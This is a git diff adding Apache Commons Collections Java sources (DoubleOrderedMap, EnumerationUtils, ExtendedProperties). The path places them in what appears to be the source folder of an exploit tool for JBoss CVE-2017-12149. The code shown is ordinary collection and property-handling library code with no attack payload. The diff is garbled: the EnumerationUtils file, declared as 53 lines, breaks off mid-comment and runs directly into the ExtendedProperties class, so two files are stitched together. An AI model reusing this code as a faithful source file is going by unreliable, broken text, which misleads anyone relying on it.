+ for (int index = FIRST_INDEX; index < NUMBER_OF_INDICES; index++) {
+
+ // if deleted node has both left and children, swap with
+ // the next greater node
+ if ((deletedNode.getLeft(index) != null)
+ && (deletedNode.getRight(index) != null)) {
+ swapPosition(nextGreater(deletedNode, index), deletedNode,
+ index);
+ }
+
+ Node replacement = ((deletedNode.getLeft(index) != null)
+ ? deletedNode.getLeft(index)
+ : deletedNode.getRight(index));
+
+ if (replacement != null) {
+ replacement.setParent(deletedNode.getParent(index), index);
+
+ if (deletedNode.getParent(index) == null) {
+ rootNode[index] = replacement;
+ } else if (deletedNode
+ == deletedNode.getParent(index).getLeft(index)) {
+ deletedNode.getParent(index).setLeft(replacement, index);
+ } else {
+ deletedNode.getParent(index).setRight(replacement, index);
+ }
+
+ deletedNode.setLeft(null, index);
+ deletedNode.setRight(null, index);
+ deletedNode.setParent(null, index);
+
+ if (isBlack(deletedNode, index)) {
+ doRedBlackDeleteFixup(replacement, index);
+ }
+ } else {
+
+ // replacement is null
+ if (deletedNode.getParent(index) == null) {
+
+ // empty tree
+ rootNode[index] = null;
+ } else {
+
+ // deleted node had no children
+ if (isBlack(deletedNode, index)) {
+ doRedBlackDeleteFixup(deletedNode, index);
+ }
+
+ if (deletedNode.getParent(index) != null) {
+ if (deletedNode
+ == deletedNode.getParent(index)
+ .getLeft(index)) {
+ deletedNode.getParent(index).setLeft(null, index);
+ } else {
+ deletedNode.getParent(index).setRight(null,
+ index);
+ }
+
+ deletedNode.setParent(null, index);
+ }
+ }
+ }
+ }
+
+ shrink();
+ }
+
+ /**
+ * complicated red-black delete stuff. Based on Sun's TreeMap
+ * implementation, though it's barely recognizable any more. This
+ * rebalances the tree (somewhat, as red-black trees are not
+ * perfectly balanced -- perfect balancing takes longer)
+ *
+ * @param replacementNode the node being replaced
+ * @param index KEY or VALUE
+ */
+ private void doRedBlackDeleteFixup(final Node replacementNode,
+ final int index) {
+
+ Node currentNode = replacementNode;
+
+ while ((currentNode != rootNode[index])
+ && (isBlack(currentNode, index))) {
+ if (isLeftChild(currentNode, index)) {
+ Node siblingNode =
+ getRightChild(getParent(currentNode, index), index);
+
+ if (isRed(siblingNode, index)) {
+ makeBlack(siblingNode, index);
+ makeRed(getParent(currentNode, index), index);
+ rotateLeft(getParent(currentNode, index), index);
+
+ siblingNode = getRightChild(getParent(currentNode, index), index);
+ }
+
+ if (isBlack(getLeftChild(siblingNode, index), index)
+ && isBlack(getRightChild(siblingNode, index),
+ index)) {
+ makeRed(siblingNode, index);
+
+ currentNode = getParent(currentNode, index);
+ } else {
+ if (isBlack(getRightChild(siblingNode, index), index)) {
+ makeBlack(getLeftChild(siblingNode, index), index);
+ makeRed(siblingNode, index);
+ rotateRight(siblingNode, index);
+
+ siblingNode =
+ getRightChild(getParent(currentNode, index), index);
+ }
+
+ copyColor(getParent(currentNode, index), siblingNode,
+ index);
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(getRightChild(siblingNode, index), index);
+ rotateLeft(getParent(currentNode, index), index);
+
+ currentNode = rootNode[index];
+ }
+ } else {
+ Node siblingNode = getLeftChild(getParent(currentNode, index), index);
+
+ if (isRed(siblingNode, index)) {
+ makeBlack(siblingNode, index);
+ makeRed(getParent(currentNode, index), index);
+ rotateRight(getParent(currentNode, index), index);
+
+ siblingNode = getLeftChild(getParent(currentNode, index), index);
+ }
+
+ if (isBlack(getRightChild(siblingNode, index), index)
+ && isBlack(getLeftChild(siblingNode, index), index)) {
+ makeRed(siblingNode, index);
+
+ currentNode = getParent(currentNode, index);
+ } else {
+ if (isBlack(getLeftChild(siblingNode, index), index)) {
+ makeBlack(getRightChild(siblingNode, index), index);
+ makeRed(siblingNode, index);
+ rotateLeft(siblingNode, index);
+
+ siblingNode =
+ getLeftChild(getParent(currentNode, index), index);
+ }
+
+ copyColor(getParent(currentNode, index), siblingNode,
+ index);
+ makeBlack(getParent(currentNode, index), index);
+ makeBlack(getLeftChild(siblingNode, index), index);
+ rotateRight(getParent(currentNode, index), index);
+
+ currentNode = rootNode[index];
+ }
+ }
+ }
+
+ makeBlack(currentNode, index);
+ }
+
+ /**
+ * swap two nodes (except for their content), taking care of
+ * special cases where one is the other's parent ... hey, it
+ * happens.
+ *
+ * @param x one node
+ * @param y another node
+ * @param index KEY or VALUE
+ */
+ private void swapPosition(final Node x, final Node y, final int index) {
+
+ // Save initial values.
+ Node xFormerParent = x.getParent(index);
+ Node xFormerLeftChild = x.getLeft(index);
+ Node xFormerRightChild = x.getRight(index);
+ Node yFormerParent = y.getParent(index);
+ Node yFormerLeftChild = y.getLeft(index);
+ Node yFormerRightChild = y.getRight(index);
+ boolean xWasLeftChild =
+ (x.getParent(index) != null)
+ && (x == x.getParent(index).getLeft(index));
+ boolean yWasLeftChild =
+ (y.getParent(index) != null)
+ && (y == y.getParent(index).getLeft(index));
+
+ // Swap, handling special cases of one being the other's parent.
+ if (x == yFormerParent) { // x was y's parent
+ x.setParent(y, index);
+
+ if (yWasLeftChild) {
+ y.setLeft(x, index);
+ y.setRight(xFormerRightChild, index);
+ } else {
+ y.setRight(x, index);
+ y.setLeft(xFormerLeftChild, index);
+ }
+ } else {
+ x.setParent(yFormerParent, index);
+
+ if (yFormerParent != null) {
+ if (yWasLeftChild) {
+ yFormerParent.setLeft(x, index);
+ } else {
+ yFormerParent.setRight(x, index);
+ }
+ }
+
+ y.setLeft(xFormerLeftChild, index);
+ y.setRight(xFormerRightChild, index);
+ }
+
+ if (y == xFormerParent) { // y was x's parent
+ y.setParent(x, index);
+
+ if (xWasLeftChild) {
+ x.setLeft(y, index);
+ x.setRight(yFormerRightChild, index);
+ } else {
+ x.setRight(y, index);
+ x.setLeft(yFormerLeftChild, index);
+ }
+ } else {
+ y.setParent(xFormerParent, index);
+
+ if (xFormerParent != null) {
+ if (xWasLeftChild) {
+ xFormerParent.setLeft(y, index);
+ } else {
+ xFormerParent.setRight(y, index);
+ }
+ }
+
+ x.setLeft(yFormerLeftChild, index);
+ x.setRight(yFormerRightChild, index);
+ }
+
+ // Fix children's parent pointers
+ if (x.getLeft(index) != null) {
+ x.getLeft(index).setParent(x, index);
+ }
+
+ if (x.getRight(index) != null) {
+ x.getRight(index).setParent(x, index);
+ }
+
+ if (y.getLeft(index) != null) {
+ y.getLeft(index).setParent(y, index);
+ }
+
+ if (y.getRight(index) != null) {
+ y.getRight(index).setParent(y, index);
+ }
+
+ x.swapColors(y, index);
+
+ // Check if root changed
+ if (rootNode[index] == x) {
+ rootNode[index] = y;
+ } else if (rootNode[index] == y) {
+ rootNode[index] = x;
+ }
+ }
+
+ /**
+ * check if an object is fit to be proper input ... has to be
+ * Comparable and non-null
+ *
+ * @param o the object being checked
+ * @param index KEY or VALUE (used to put the right word in the
+ * exception message)
+ *
+ * @throws NullPointerException if o is null
+ * @throws ClassCastException if o is not Comparable
+ */
+ private static void checkNonNullComparable(final Object o,
+ final int index) {
+
+ if (o == null) {
+ throw new NullPointerException(dataName[index]
+ + " cannot be null");
+ }
+
+ if (!(o instanceof Comparable)) {
+ throw new ClassCastException(dataName[index]
+ + " must be Comparable");
+ }
+ }
+
+ /**
+ * check a key for validity (non-null and implements Comparable)
+ *
+ * @param key the key to be checked
+ *
+ * @throws NullPointerException if key is null
+ * @throws ClassCastException if key is not Comparable
+ */
+ private static void checkKey(final Object key) {
+ checkNonNullComparable(key, KEY);
+ }
+
+ /**
+ * check a value for validity (non-null and implements Comparable)
+ *
+ * @param value the value to be checked
+ *
+ * @throws NullPointerException if value is null
+ * @throws ClassCastException if value is not Comparable
+ */
+ private static void checkValue(final Object value) {
+ checkNonNullComparable(value, VALUE);
+ }
+
+ /**
+ * check a key and a value for validity (non-null and implements
+ * Comparable)
+ *
+ * @param key the key to be checked
+ * @param value the value to be checked
+ *
+ * @throws NullPointerException if key or value is null
+ * @throws ClassCastException if key or value is not Comparable
+ */
+ private static void checkKeyAndValue(final Object key,
+ final Object value) {
+ checkKey(key);
+ checkValue(value);
+ }
+
+ /**
+ * increment the modification count -- used to check for
+ * concurrent modification of the map through the map and through
+ * an Iterator from one of its Set or Collection views
+ */
+ private void modify() {
+ modifications++;
+ }
+
+ /**
+ * bump up the size and note that the map has changed
+ */
+ private void grow() {
+
+ modify();
+
+ nodeCount++;
+ }
+
+ /**
+ * decrement the size and note that the map has changed
+ */
+ private void shrink() {
+
+ modify();
+
+ nodeCount--;
+ }
+
+ /**
+ * insert a node by its value
+ *
+ * @param newNode the node to be inserted
+ *
+ * @throws IllegalArgumentException if the node already exists
+ * in the value mapping
+ */
+ private void insertValue(final Node newNode)
+ throws IllegalArgumentException {
+
+ Node node = rootNode[VALUE];
+
+ while (true) {
+ int cmp = compare(newNode.getData(VALUE), node.getData(VALUE));
+
+ if (cmp == 0) {
+ throw new IllegalArgumentException(
+ "Cannot store a duplicate value (\""
+ + newNode.getData(VALUE) + "\") in this Map");
+ } else if (cmp < 0) {
+ if (node.getLeft(VALUE) != null) {
+ node = node.getLeft(VALUE);
+ } else {
+ node.setLeft(newNode, VALUE);
+ newNode.setParent(node, VALUE);
+ doRedBlackInsert(newNode, VALUE);
+
+ break;
+ }
+ } else { // cmp > 0
+ if (node.getRight(VALUE) != null) {
+ node = node.getRight(VALUE);
+ } else {
+ node.setRight(newNode, VALUE);
+ newNode.setParent(node, VALUE);
+ doRedBlackInsert(newNode, VALUE);
+
+ break;
+ }
+ }
+ }
+ }
+
+ /* ********** START implementation of Map ********** */
+
+ /**
+ * Returns the number of key-value mappings in this map. If the
+ * map contains more than Integer.MAXVALUE elements, returns
+ * Integer.MAXVALUE.
+ *
+ * @return the number of key-value mappings in this map.
+ */
+ public int size() {
+ return nodeCount;
+ }
+
+ /**
+ * Returns true if this map contains a mapping for the specified
+ * key.
+ *
+ * @param key key whose presence in this map is to be tested.
+ *
+ * @return true if this map contains a mapping for the specified
+ * key.
+ *
+ * @throws ClassCastException if the key is of an inappropriate
+ * type for this map.
+ * @throws NullPointerException if the key is null
+ */
+ public boolean containsKey(final Object key)
+ throws ClassCastException, NullPointerException {
+
+ checkKey(key);
+
+ return lookup((Comparable) key, KEY) != null;
+ }
+
+ /**
+ * Returns true if this map maps one or more keys to the
+ * specified value.
+ *
+ * @param value value whose presence in this map is to be tested.
+ *
+ * @return true if this map maps one or more keys to the specified
+ * value.
+ */
+ public boolean containsValue(final Object value) {
+
+ checkValue(value);
+
+ return lookup((Comparable) value, VALUE) != null;
+ }
+
+ /**
+ * Returns the value to which this map maps the specified
+ * key. Returns null if the map contains no mapping for this key.
+ *
+ * @param key key whose associated value is to be returned.
+ *
+ * @return the value to which this map maps the specified key, or
+ * null if the map contains no mapping for this key.
+ *
+ * @throws ClassCastException if the key is of an inappropriate
+ * type for this map.
+ * @throws NullPointerException if the key is null
+ */
+ public Object get(final Object key)
+ throws ClassCastException, NullPointerException {
+ return doGet((Comparable) key, KEY);
+ }
+
+ /**
+ * Associates the specified value with the specified key in this
+ * map.
+ *
+ * @param key key with which the specified value is to be
+ * associated.
+ * @param value value to be associated with the specified key.
+ *
+ * @return null
+ *
+ * @throws ClassCastException if the class of the specified key
+ * or value prevents it from being
+ * stored in this map.
+ * @throws NullPointerException if the specified key or value
+ * is null
+ * @throws IllegalArgumentException if the key duplicates an
+ * existing key, or if the
+ * value duplicates an
+ * existing value
+ */
+ public Object put(final Object key, final Object value)
+ throws ClassCastException, NullPointerException,
+ IllegalArgumentException {
+
+ checkKeyAndValue(key, value);
+
+ Node node = rootNode[KEY];
+
+ if (node == null) {
+ Node root = new Node((Comparable) key, (Comparable) value);
+
+ rootNode[KEY] = root;
+ rootNode[VALUE] = root;
+
+ grow();
+ } else {
+ while (true) {
+ int cmp = compare((Comparable) key, node.getData(KEY));
+
+ if (cmp == 0) {
+ throw new IllegalArgumentException(
+ "Cannot store a duplicate key (\"" + key
+ + "\") in this Map");
+ } else if (cmp < 0) {
+ if (node.getLeft(KEY) != null) {
+ node = node.getLeft(KEY);
+ } else {
+ Node newNode = new Node((Comparable) key,
+ (Comparable) value);
+
+ insertValue(newNode);
+ node.setLeft(newNode, KEY);
+ newNode.setParent(node, KEY);
+ doRedBlackInsert(newNode, KEY);
+ grow();
+
+ break;
+ }
+ } else { // cmp > 0
+ if (node.getRight(KEY) != null) {
+ node = node.getRight(KEY);
+ } else {
+ Node newNode = new Node((Comparable) key,
+ (Comparable) value);
+
+ insertValue(newNode);
+ node.setRight(newNode, KEY);
+ newNode.setParent(node, KEY);
+ doRedBlackInsert(newNode, KEY);
+ grow();
+
+ break;
+ }
+ }
+ }
+ }
+
+ return null;
+ }
+
+ /**
+ * Removes the mapping for this key from this map if present
+ *
+ * @param key key whose mapping is to be removed from the map.
+ *
+ * @return previous value associated with specified key, or null
+ * if there was no mapping for key.
+ */
+ public Object remove(final Object key) {
+ return doRemove((Comparable) key, KEY);
+ }
+
+ /**
+ * Removes all mappings from this map
+ */
+ public void clear() {
+
+ modify();
+
+ nodeCount = 0;
+ rootNode[KEY] = null;
+ rootNode[VALUE] = null;
+ }
+
+ /**
+ * Returns a set view of the keys contained in this map. The set
+ * is backed by the map, so changes to the map are reflected in
+ * the set, and vice-versa. If the map is modified while an
+ * iteration over the set is in progress, the results of the
+ * iteration are undefined. The set supports element removal,
+ * which removes the corresponding mapping from the map, via the
+ * Iterator.remove, Set.remove, removeAll, retainAll, and clear
+ * operations. It does not support the add or addAll operations.
+ *
+ * @return a set view of the keys contained in this map.
+ */
+ public Set keySet() {
+
+ if (setOfKeys[KEY] == null) {
+ setOfKeys[KEY] = new AbstractSet() {
+
+ public Iterator iterator() {
+
+ return new DoubleOrderedMapIterator(KEY) {
+
+ protected Object doGetNext() {
+ return lastReturnedNode.getData(KEY);
+ }
+ };
+ }
+
+ public int size() {
+ return DoubleOrderedMap.this.size();
+ }
+
+ public boolean contains(Object o) {
+ return containsKey(o);
+ }
+
+ public boolean remove(Object o) {
+
+ int oldNodeCount = nodeCount;
+
+ DoubleOrderedMap.this.remove(o);
+
+ return nodeCount != oldNodeCount;
+ }
+
+ public void clear() {
+ DoubleOrderedMap.this.clear();
+ }
+ };
+ }
+
+ return setOfKeys[KEY];
+ }
+
+ /**
+ * Returns a collection view of the values contained in this
+ * map. The collection is backed by the map, so changes to the map
+ * are reflected in the collection, and vice-versa. If the map is
+ * modified while an iteration over the collection is in progress,
+ * the results of the iteration are undefined. The collection
+ * supports element removal, which removes the corresponding
+ * mapping from the map, via the Iterator.remove,
+ * Collection.remove, removeAll, retainAll and clear operations.
+ * It does not support the add or addAll operations.
+ *
+ * @return a collection view of the values contained in this map.
+ */
+ public Collection values() {
+
+ if (collectionOfValues[KEY] == null) {
+ collectionOfValues[KEY] = new AbstractCollection() {
+
+ public Iterator iterator() {
+
+ return new DoubleOrderedMapIterator(KEY) {
+
+ protected Object doGetNext() {
+ return lastReturnedNode.getData(VALUE);
+ }
+ };
+ }
+
+ public int size() {
+ return DoubleOrderedMap.this.size();
+ }
+
+ public boolean contains(Object o) {
+ return containsValue(o);
+ }
+
+ public boolean remove(Object o) {
+
+ int oldNodeCount = nodeCount;
+
+ removeValue(o);
+
+ return nodeCount != oldNodeCount;
+ }
+
+ public boolean removeAll(Collection c) {
+
+ boolean modified = false;
+ Iterator iter = c.iterator();
+
+ while (iter.hasNext()) {
+ if (removeValue(iter.next()) != null) {
+ modified = true;
+ }
+ }
+
+ return modified;
+ }
+
+ public void clear() {
+ DoubleOrderedMap.this.clear();
+ }
+ };
+ }
+
+ return collectionOfValues[KEY];
+ }
+
+ /**
+ * Returns a set view of the mappings contained in this map. Each
+ * element in the returned set is a Map.Entry. The set is backed
+ * by the map, so changes to the map are reflected in the set, and
+ * vice-versa. If the map is modified while an iteration over the
+ * set is in progress, the results of the iteration are
+ * undefined.
+ *
+ * The set supports element removal, which removes the corresponding
+ * mapping from the map, via the Iterator.remove, Set.remove, removeAll,
+ * retainAll and clear operations.
+ * It does not support the add or addAll operations.
+ * The setValue method is not supported on the Map Entry.
+ *
+ * @return a set view of the mappings contained in this map.
+ */
+ public Set entrySet() {
+
+ if (setOfEntries[KEY] == null) {
+ setOfEntries[KEY] = new AbstractSet() {
+
+ public Iterator iterator() {
+
+ return new DoubleOrderedMapIterator(KEY) {
+
+ protected Object doGetNext() {
+ return lastReturnedNode;
+ }
+ };
+ }
+
+ public boolean contains(Object o) {
+
+ if (!(o instanceof Map.Entry)) {
+ return false;
+ }
+
+ Map.Entry entry = (Map.Entry) o;
+ Object value = entry.getValue();
+ Node node = lookup((Comparable) entry.getKey(),
+ KEY);
+
+ return (node != null)
+ && node.getData(VALUE).equals(value);
+ }
+
+ public boolean remove(Object o) {
+
+ if (!(o instanceof Map.Entry)) {
+ return false;
+ }
+
+ Map.Entry entry = (Map.Entry) o;
+ Object value = entry.getValue();
+ Node node = lookup((Comparable) entry.getKey(),
+ KEY);
+
+ if ((node != null) && node.getData(VALUE).equals(value)) {
+ doRedBlackDelete(node);
+
+ return true;
+ }
+
+ return false;
+ }
+
+ public int size() {
+ return DoubleOrderedMap.this.size();
+ }
+
+ public void clear() {
+ DoubleOrderedMap.this.clear();
+ }
+ };
+ }
+
+ return setOfEntries[KEY];
+ }
+
+ /* ********** END implementation of Map ********** */
+ private abstract class DoubleOrderedMapIterator implements Iterator {
+
+ private int expectedModifications;
+ protected Node lastReturnedNode;
+ private Node nextNode;
+ private int iteratorType;
+
+ /**
+ * Constructor
+ *
+ * @param type
+ */
+ DoubleOrderedMapIterator(final int type) {
+
+ iteratorType = type;
+ expectedModifications = DoubleOrderedMap.this.modifications;
+ lastReturnedNode = null;
+ nextNode = leastNode(rootNode[iteratorType],
+ iteratorType);
+ }
+
+ /**
+ * @return 'next', whatever that means for a given kind of
+ * DoubleOrderedMapIterator
+ */
+ protected abstract Object doGetNext();
+
+ /* ********** START implementation of Iterator ********** */
+
+ /**
+ * @return true if the iterator has more elements.
+ */
+ public final boolean hasNext() {
+ return nextNode != null;
+ }
+
+ /**
+ * @return the next element in the iteration.
+ *
+ * @throws NoSuchElementException if iteration has no more
+ * elements.
+ * @throws ConcurrentModificationException if the
+ * DoubleOrderedMap is
+ * modified behind
+ * the iterator's
+ * back
+ */
+ public final Object next()
+ throws NoSuchElementException,
+ ConcurrentModificationException {
+
+ if (nextNode == null) {
+ throw new NoSuchElementException();
+ }
+
+ if (modifications != expectedModifications) {
+ throw new ConcurrentModificationException();
+ }
+
+ lastReturnedNode = nextNode;
+ nextNode = nextGreater(nextNode, iteratorType);
+
+ return doGetNext();
+ }
+
+ /**
+ * Removes from the underlying collection the last element
+ * returned by the iterator. This method can be called only
+ * once per call to next. The behavior of an iterator is
+ * unspecified if the underlying collection is modified while
+ * the iteration is in progress in any way other than by
+ * calling this method.
+ *
+ * @throws IllegalStateException if the next method has not
+ * yet been called, or the
+ * remove method has already
+ * been called after the last
+ * call to the next method.
+ * @throws ConcurrentModificationException if the
+ * DoubleOrderedMap is
+ * modified behind
+ * the iterator's
+ * back
+ */
+ public final void remove()
+ throws IllegalStateException,
+ ConcurrentModificationException {
+
+ if (lastReturnedNode == null) {
+ throw new IllegalStateException();
+ }
+
+ if (modifications != expectedModifications) {
+ throw new ConcurrentModificationException();
+ }
+
+ doRedBlackDelete(lastReturnedNode);
+
+ expectedModifications++;
+
+ lastReturnedNode = null;
+ }
+
+ /* ********** END implementation of Iterator ********** */
+ } // end private abstract class DoubleOrderedMapIterator
+
+ // final for performance
+ private static final class Node implements Map.Entry, KeyValue {
+
+ private Comparable[] data;
+ private Node[] leftNode;
+ private Node[] rightNode;
+ private Node[] parentNode;
+ private boolean[] blackColor;
+ private int hashcodeValue;
+ private boolean calculatedHashCode;
+
+ /**
+ * Make a new cell with given key and value, and with null
+ * links, and black (true) colors.
+ *
+ * @param key
+ * @param value
+ */
+ Node(final Comparable key, final Comparable value) {
+
+ data = new Comparable[]{ key, value };
+ leftNode = new Node[]{ null, null };
+ rightNode = new Node[]{ null, null };
+ parentNode = new Node[]{ null, null };
+ blackColor = new boolean[]{ true, true };
+ calculatedHashCode = false;
+ }
+
+ /**
+ * get the specified data
+ *
+ * @param index KEY or VALUE
+ *
+ * @return the key or value
+ */
+ private Comparable getData(final int index) {
+ return data[index];
+ }
+
+ /**
+ * Set this node's left node
+ *
+ * @param node the new left node
+ * @param index KEY or VALUE
+ */
+ private void setLeft(final Node node, final int index) {
+ leftNode[index] = node;
+ }
+
+ /**
+ * get the left node
+ *
+ * @param index KEY or VALUE
+ *
+ * @return the left node -- may be null
+ */
+ private Node getLeft(final int index) {
+ return leftNode[index];
+ }
+
+ /**
+ * Set this node's right node
+ *
+ * @param node the new right node
+ * @param index KEY or VALUE
+ */
+ private void setRight(final Node node, final int index) {
+ rightNode[index] = node;
+ }
+
+ /**
+ * get the right node
+ *
+ * @param index KEY or VALUE
+ *
+ * @return the right node -- may be null
+ */
+ private Node getRight(final int index) {
+ return rightNode[index];
+ }
+
+ /**
+ * Set this node's parent node
+ *
+ * @param node the new parent node
+ * @param index KEY or VALUE
+ */
+ private void setParent(final Node node, final int index) {
+ parentNode[index] = node;
+ }
+
+ /**
+ * get the parent node
+ *
+ * @param index KEY or VALUE
+ *
+ * @return the parent node -- may be null
+ */
+ private Node getParent(final int index) {
+ return parentNode[index];
+ }
+
+ /**
+ * exchange colors with another node
+ *
+ * @param node the node to swap with
+ * @param index KEY or VALUE
+ */
+ private void swapColors(final Node node, final int index) {
+
+ // Swap colors -- old hacker's trick
+ blackColor[index] ^= node.blackColor[index];
+ node.blackColor[index] ^= blackColor[index];
+ blackColor[index] ^= node.blackColor[index];
+ }
+
+ /**
+ * is this node black?
+ *
+ * @param index KEY or VALUE
+ *
+ * @return true if black (which is represented as a true boolean)
+ */
+ private boolean isBlack(final int index) {
+ return blackColor[index];
+ }
+
+ /**
+ * is this node red?
+ *
+ * @param index KEY or VALUE
+ *
+ * @return true if non-black
+ */
+ private boolean isRed(final int index) {
+ return !blackColor[index];
+ }
+
+ /**
+ * make this node black
+ *
+ * @param index KEY or VALUE
+ */
+ private void setBlack(final int index) {
+ blackColor[index] = true;
+ }
+
+ /**
+ * make this node red
+ *
+ * @param index KEY or VALUE
+ */
+ private void setRed(final int index) {
+ blackColor[index] = false;
+ }
+
+ /**
+ * make this node the same color as another
+ *
+ * @param node the node whose color we're adopting
+ * @param index KEY or VALUE
+ */
+ private void copyColor(final Node node, final int index) {
+ blackColor[index] = node.blackColor[index];
+ }
+
+ /* ********** START implementation of Map.Entry ********** */
+
+ /**
+ * @return the key corresponding to this entry.
+ */
+ public Object getKey() {
+ return data[KEY];
+ }
+
+ /**
+ * @return the value corresponding to this entry.
+ */
+ public Object getValue() {
+ return data[VALUE];
+ }
+
+ /**
+ * Optional operation that is not permitted in this
+ * implementation
+ *
+ * @param ignored
+ *
+ * @return does not return
+ *
+ * @throws UnsupportedOperationException
+ */
+ public Object setValue(Object ignored)
+ throws UnsupportedOperationException {
+ throw new UnsupportedOperationException(
+ "Map.Entry.setValue is not supported");
+ }
+
+ /**
+ * Compares the specified object with this entry for equality.
+ * Returns true if the given object is also a map entry and
+ * the two entries represent the same mapping.
+ *
+ * @param o object to be compared for equality with this map
+ * entry.
+ * @return true if the specified object is equal to this map
+ * entry.
+ */
+ public boolean equals(Object o) {
+
+ if (this == o) {
+ return true;
+ }
+
+ if (!(o instanceof Map.Entry)) {
+ return false;
+ }
+
+ Map.Entry e = (Map.Entry) o;
+
+ return data[KEY].equals(e.getKey())
+ && data[VALUE].equals(e.getValue());
+ }
+
+ /**
+ * @return the hash code value for this map entry.
+ */
+ public int hashCode() {
+
+ if (!calculatedHashCode) {
+ hashcodeValue = data[KEY].hashCode()
+ ^ data[VALUE].hashCode();
+ calculatedHashCode = true;
+ }
+
+ return hashcodeValue;
+ }
+
+ /* ********** END implementation of Map.Entry ********** */
+ }
+} // end public class DoubleOrderedMap
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/EnumerationUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/EnumerationUtils.java"
new file mode 100644
index 0000000..c0f412b
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/EnumerationUtils.java"
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Enumeration;
+import java.util.List;
+
+import org.apache.commons.collections.iterators.EnumerationIterator;
+
+/**
+ * Provides utility methods for {@link Enumeration} instances.
+ *
+ * @since Commons Collections 3.0
+ * @version $Id: EnumerationUtils.java,v 1.5 2004/02/18 01:15:42 scolebourne Exp $
+ *
+ * @author Gary Gregory
+ */
+public class EnumerationUtils {
+
+ /**
+ * EnumerationUtils is not normally instantiated.
+ */
+ public EnumerationUtils() {
+ // no init.
+ }
+
+ /**
+ * Creates a list based on an enumeration.
+ *
+ * As the enumeration is traversed, an ArrayList of its values is
+ * created. The new list is returned.
+ * Please consider using the
+ * The Extended Properties syntax is explained here:
+ *
+ * Here is an example of a valid extended properties file:
+ *
+ * NOTE: this class has not been written for
+ * performance nor low memory usage. In fact, it's way slower than it
+ * could be and generates too much memory garbage. But since
+ * performance is not an issue during intialization (and there is not
+ * much time to improve it), I wrote it this way. If you don't like
+ * it, go ahead and tune it up!
+ *
+ * @since Commons Collections 1.0
+ * @version $Revision: 1.23 $ $Date: 2004/06/21 23:39:25 $
+ *
+ * @author Stefano Mazzocchi
+ * @author Jon S. Stevens
+ * @author Dave Bryson
+ * @author Jason van Zyl
+ * @author Geir Magnusson Jr.
+ * @author Leon Messerschmidt
+ * @author Kent Johnson
+ * @author Daniel Rall
+ * @author Ilkka Priha
+ * @author Janek Bogucki
+ * @author Mohan Kishore
+ * @author Stephen Colebourne
+ */
+public class ExtendedProperties extends Hashtable {
+
+ /**
+ * Default configurations repository.
+ */
+ private ExtendedProperties defaults;
+
+ /**
+ * The file connected to this repository (holding comments and
+ * such).
+ *
+ * @serial
+ */
+ protected String file;
+
+ /**
+ * Base path of the configuration file used to create
+ * this ExtendedProperties object.
+ */
+ protected String basePath;
+
+ /**
+ * File separator.
+ */
+ protected String fileSeparator = System.getProperty("file.separator");
+
+ /**
+ * Has this configuration been intialized.
+ */
+ protected boolean isInitialized = false;
+
+ /**
+ * This is the name of the property that can point to other
+ * properties file for including other properties files.
+ */
+ protected static String include = "include";
+
+ /**
+ * These are the keys in the order they listed
+ * in the configuration file. This is useful when
+ * you wish to perform operations with configuration
+ * information in a particular order.
+ */
+ protected ArrayList keysAsListed = new ArrayList();
+
+ protected final static String START_TOKEN="${";
+ protected final static String END_TOKEN="}";
+
+
+ /**
+ * Interpolate key names to handle ${key} stuff
+ *
+ * @param base string to interpolate
+ * @return returns the key name with the ${key} substituted
+ */
+ protected String interpolate(String base) {
+ // COPIED from [configuration] 2003-12-29
+ return (interpolateHelper(base, null));
+ }
+
+ /**
+ * Recursive handler for multiple levels of interpolation.
+ *
+ * When called the first time, priorVariables should be null.
+ *
+ * @param base string with the ${key} variables
+ * @param priorVariables serves two purposes: to allow checking for
+ * loops, and creating a meaningful exception message should a loop
+ * occur. It's 0'th element will be set to the value of base from
+ * the first call. All subsequent interpolated variables are added
+ * afterward.
+ *
+ * @return the string with the interpolation taken care of
+ */
+ protected String interpolateHelper(String base, List priorVariables) {
+ // COPIED from [configuration] 2003-12-29
+ if (base == null) {
+ return null;
+ }
+
+ // on the first call initialize priorVariables
+ // and add base as the first element
+ if (priorVariables == null) {
+ priorVariables = new ArrayList();
+ priorVariables.add(base);
+ }
+
+ int begin = -1;
+ int end = -1;
+ int prec = 0 - END_TOKEN.length();
+ String variable = null;
+ StringBuffer result = new StringBuffer();
+
+ // FIXME: we should probably allow the escaping of the start token
+ while (((begin = base.indexOf(START_TOKEN, prec + END_TOKEN.length())) > -1)
+ && ((end = base.indexOf(END_TOKEN, begin)) > -1)) {
+ result.append(base.substring(prec + END_TOKEN.length(), begin));
+ variable = base.substring(begin + START_TOKEN.length(), end);
+
+ // if we've got a loop, create a useful exception message and throw
+ if (priorVariables.contains(variable)) {
+ String initialBase = priorVariables.remove(0).toString();
+ priorVariables.add(variable);
+ StringBuffer priorVariableSb = new StringBuffer();
+
+ // create a nice trace of interpolated variables like so:
+ // var1->var2->var3
+ for (Iterator it = priorVariables.iterator(); it.hasNext();) {
+ priorVariableSb.append(it.next());
+ if (it.hasNext()) {
+ priorVariableSb.append("->");
+ }
+ }
+
+ throw new IllegalStateException(
+ "infinite loop in property interpolation of " + initialBase + ": " + priorVariableSb.toString());
+ }
+ // otherwise, add this variable to the interpolation list.
+ else {
+ priorVariables.add(variable);
+ }
+
+ //QUESTION: getProperty or getPropertyDirect
+ Object value = getProperty(variable);
+ if (value != null) {
+ result.append(interpolateHelper(value.toString(), priorVariables));
+
+ // pop the interpolated variable off the stack
+ // this maintains priorVariables correctness for
+ // properties with multiple interpolations, e.g.
+ // prop.name=${some.other.prop1}/blahblah/${some.other.prop2}
